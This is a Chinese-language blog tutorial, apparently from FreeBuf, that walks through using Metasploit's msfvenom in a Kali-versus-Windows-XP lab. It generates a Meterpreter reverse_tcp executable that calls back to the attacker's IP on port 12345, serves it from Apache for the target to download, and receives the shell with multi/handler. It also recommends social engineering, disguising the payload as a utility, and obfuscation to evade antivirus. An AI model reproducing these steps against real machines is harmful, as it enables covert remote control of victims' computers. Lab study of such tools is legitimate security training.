Metasploit之Msfvenom实战渗透
2023-4-7 16:5:2 Author: www.freebuf.com(查看原文) 阅读量:22 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

实验环境:
黑客主机:Kali Linux
目标主机:Windows XP SP2

  1. Metasploit项目于2011年推出了Msfvenom。在Msfvenom问世之前,我们要并有Msfpayload和Msfencode才能做出独立封装的Metasploit有效载荷(payload),这两款工具能够生成包括Windows可执行文件、ASP网页格式在内的各种有效载荷。

  2. 在Msfvenom问世之后,Metasploit依旧在工具包保留了Msfpayload和Msfencode(Kali-Msf6当中对其进行优化,所以已经这两款工具已经没有了)。然而不可否认的是,Msfvenom已经全面整合了那两款工具的所有功能。如需了解Msfvenom的各项功能,可使用msfvenom -h命令查看它的帮助信息。

  3. msfvenom -h
    在这里插入图片描述

  4. 在使用Metasploit时,我们往往会利用某个安全缺陷夺取目标主机的控制权。然而Msfvenom的玩法却有些不一样:可以跳过尚未修补的安全缺陷和其他的软件安全问题,直接攻击一种可能永远无法彻底完备的安全要素——计算机用户。

  5. 可以使用Msfvenom生成一个可独立运行的有效载荷,然后用它实施社会工程学攻击,或者借助某种安全缺陷把它上传到服务器上。即使其他类型的技术攻击系数落败,我们总是能够碰到那些着道的计算机用户。

1、选取有效载荷

  1. 检索全部有效载荷的命令是 Msfvenom -l payloads

  2. Msfvenom -l payloads

  3. 在这里插入图片描述

  4. 以MS08-067为例,选用有效载荷是windows/Meterpreter/reverse_tcp。我们将通过这个有效载荷回连渗透主机,继而开启Meterpreter会话。在Msfvenom的命令行当中,可通过-p选项设定具体的有效载荷。

  5. windows/meterpreter_reverse_tcp -- Connect back to attacker and spawn a Meterpreter shell. Requires Windows XP SP2 or newer.

2、设定相关选项

  1. 在选定有效载荷之后,可以使用 -O选项设定既定模块的相应选项,清单如下

  2. msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.5.139 lport=12345 -f exe -o payload.exe

在这里插入代码片

在这里插入图片描述在这里插入图片描述

  1. 在使用反射型有效载荷时,还得设定它的LHOST选项,比如

  2. LHOST=192.168.5.139

  3. 即目标主机的回连IP(请设定为Kali主机的IP地址)。本例LPORT的默认值为4444,当然也可以设定LPORT=12345这样的等号赋值语句来调整默认端口。以及退出方式EXITFUNC的默认值。

3、选定输出格式

  1. 接下来还需要设定输出文件的输出格式(虽然好像上面已经给出了 .exe Windows可执行文件)。由Msfvenom生成的这个文件,是由Windows的可执行文件,还是要上传到Web服务器的ASP文件?如需要查看Msfvenom支持的全部文件类型,请使用

  2. msfvenom --help-formats命令。

  3. 使用 ==-f== 选项设定输出文件的类型,如下图所示在这里插入图片描述

  4. 一般来说,直接运行上述命令只会在屏幕上看到一对乱码。这些乱码正是刚才指定的可执行的有效载荷的文件内容,实际上我们没需要去看这些乱码,而应当使用管道操作符把它输出文可执行文件。在这里插入图片描述在这里插入图片描述

  5. 进行上述操作后,屏幕上就不会出现练乱码了。当使用==file==命令探测文件类型时,就会看到这是一个可以运行与所有Windows平台的可执行程序。在某些情况下,反病毒程序可能会组织目标主机运行Metasploit生成的有效载荷。在这种情况下,就可以借鉴==混淆技术==,帮助这些有效载荷规避反病毒程序的检测。此外,还可以借鉴==社会工程学==的技术,诱使计算机用户下载、运行我们的有效载荷。

4、部署可执行文件

  1. 在诱使他人下载有效符合的时候,不少人都把渗透用的有效载荷存储到服务器上,把他们伪装成某种实用程序。这的确是种不错的渗透策略。本例就将再现这种手法,用Kali系统自带的Apache服务程序提供有效载荷的下载,以供目标主机下载我们的有效载荷。

  2. 首先使用cp payload.exe /var/www/html命令把有效载荷的可执行文件复制到Apache的文件命令中去,然后再使用service apache2 start命令启动Apache Web 服务在这里插入图片描述

  3. 接下来,返回那台Windows XP 靶机,使用 Internet Explore 浏览器访问网址 Http://192.168.5.139/payload.exe,并下载这个文件。待做好其余的准备工作之后,再来启动这个程序

  4. 在着手利用目标主机的安全缺陷之前,得在Metasploit里设置好有效载荷的各项参数,然后把exploit 程序下发到靶机上。此后,令Msfconsole 利用那个编号为MS08-067 的安全缺陷,进而调用反射型shell的有效载荷。在此之后,Metasploit就会创建反向连接回连渗透主机的12345端口(默认为4444端口号)。不知道大家有没有注意到,此时我们尚未在渗透主机上启动那个受理反向连接的相应程序,因此那个有Msfvenom创建的有效载荷并不能完成预定任务。

5、使用multi/handler模块

  1. 请再次启动Msfconsole程序,并找到multi/headler模块。这个模块用于设置独立的连接受理程序。它就是我们缺少的最后一块拼图。并在Windows XP靶机上运行了反射型的攻击程序之后,还要用某个受理程序接受(应答)靶机发起的Meterpreter连接。如下所示,请使用use multi/handler命令选用这个模块

  2. Metasploit能够以多种方式受理远程连接。因此,首先要对multi/handler进行相应的设置。刚才使用Msfvenon创建了一个反射型的有效载荷,因此本例应当把有效载荷设置为window/meterpreter/reverse_tcp。在使用set PAYLOAD window/meterpreter/reverse_tcp命令进行相应设置之后,再用show options命令查看哪些需要设置的选项,清单如下

  3. use multi/handlerset PAYLOAD winodws/meterpreter/reverse_tcp在这里插入图片描述

  4. 上述返回信息显示Metasploit需要设定的各项选项。在设置选项的时候,把LHOST选项设定为本地Kali系统的IP地址,再把LPORT选项设定为刚才Msfvenom里设定的那个端口号码(我设置的是12345端口)。就本例而言,这两项值分别是192.168.5.131和12345。在设置好的有效载荷的各想选项之后,使用exploit命令启动受理端程序,清单如下在这里插入图片描述

  5. 可以看到,Metasploit 程序打开了12345号端口,以受理反向连接。在靶机上运行有效载荷之后,它会连接到上述受理程序在这里插入图片描述在这里产生了一定的bug,没能在靶机上跑起来,但是,我把它放自己物理电脑上弄成功了,但是这是我在把360关了之后才能控制自己的电脑,那么接下来就要开始学习如何规避反病毒软件检测了,加油在这里插入图片描述


文章来源: https://www.freebuf.com/vuls/362933.html
如有侵权请联系:admin#unsafe.sh